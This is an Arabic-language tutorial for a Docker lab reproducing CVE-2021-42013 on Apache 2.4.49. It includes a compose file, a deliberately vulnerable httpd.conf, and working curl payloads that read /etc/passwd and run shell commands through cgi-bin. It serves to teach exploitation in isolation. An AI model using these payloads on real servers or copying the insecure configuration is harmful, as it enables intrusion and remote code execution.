
مختبر اختبار الاختراق قائم على Docker يحاكي ثغرة CVE-2021-42013 (Path Traversal & RCE) على خادم Apache HTTP (2.4.49).
مختبر اختبار اختراق قائم على Docker يحاكي ثغرة CVE-2021-42013 (Path Traversal & RCE) على خادم Apache HTTP Server (2.4.49).
تم إعداد هذا المشروع لمحاكاة واستغلال (exploit) ثغرة CVE-2021-42013 الموجودة على Apache HTTP Server (2.4.49) في بيئة معزولة. تم إنشاء بيئة مختبرية خاصة باسم docker-exploit-lab، وتم تنفيذ سيناريو الهجوم من خلال جهاز ضحية (victim) وجهاز مهاجم (attacker) على نفس الشبكة.
يحتوي مختبرنا على ملفي تكوين أساسيين: ملف Docker Compose الذي يحدد أجهزة الضحية/المهاجم، وملف التكوين الذي يجعل خادم Apache معرضًا للثغرة.
docker-compose.ymlينشئ هذا الملف بيئة معزولة على الشبكة الفرعية 172.20.0.0/16. عند بدء تشغيل جهاز المهاجم، يقوم بتثبيت أداة curl الضرورية للهجوم تلقائيًا.
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.confلتفعيل الثغرة، تم جعل الخادم معرضًا للثغرة عمدًا عن طريق منح إذن Require all granted للدليل الجذر () ودليل CGI. (ملاحظة مهمة: لتجنب الأخطاء، تأكد من حفظ هذا الملف بصيغة UTF-8 العادية بدون حرف BOM (Byte Order Mark).)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
لتشغيل النظام، نقوم بتنفيذ الأمر التالي في الطرفية (terminal) أثناء وجودنا في دليل العمل:
docker compose up -d
بعد بدء تشغيل النظام، ندخل إلى جهاز Kali Linux الذي سنقوم فيه بتنفيذ أوامر الهجوم:
Bash
docker exec -it attacker-box /bin/bash
من داخل جهاز Kali، نقوم بتفعيل ثغرة تجاوز الدليل عن طريق إرسال أحرف مرمزة عبر URL (.%%32%65) إلى عنوان IP الثابت للجهاز الهدف (172.20.0.2) وقراءة ملف /etc/passwd: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
نظرًا لأننا قمنا بتفويض دليل CGI في تكوين Apache، يمكننا تنفيذ أوامر shell مباشرة على الخادم باستخدام نفس منطق تجاوز الدليل عبر /cgi-bin/. لتشغيل الأمر id: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" الخرج الناجح الذي تم الحصول عليه: uid=1(daemon) gid=1(daemon) groups=1(daemon)
يُظهر هذا العمل عمليًا كيف يمكن لثغرة Path Traversal التي تبدو غير ضارة من الخارج في خادم ويب غير محدث، أن تتحول عند دمجها مع أذونات وحدة CGI غير الصحيحة إلى تنفيذ تعليمات برمجية عن بعد (RCE) كامل الصلاحيات.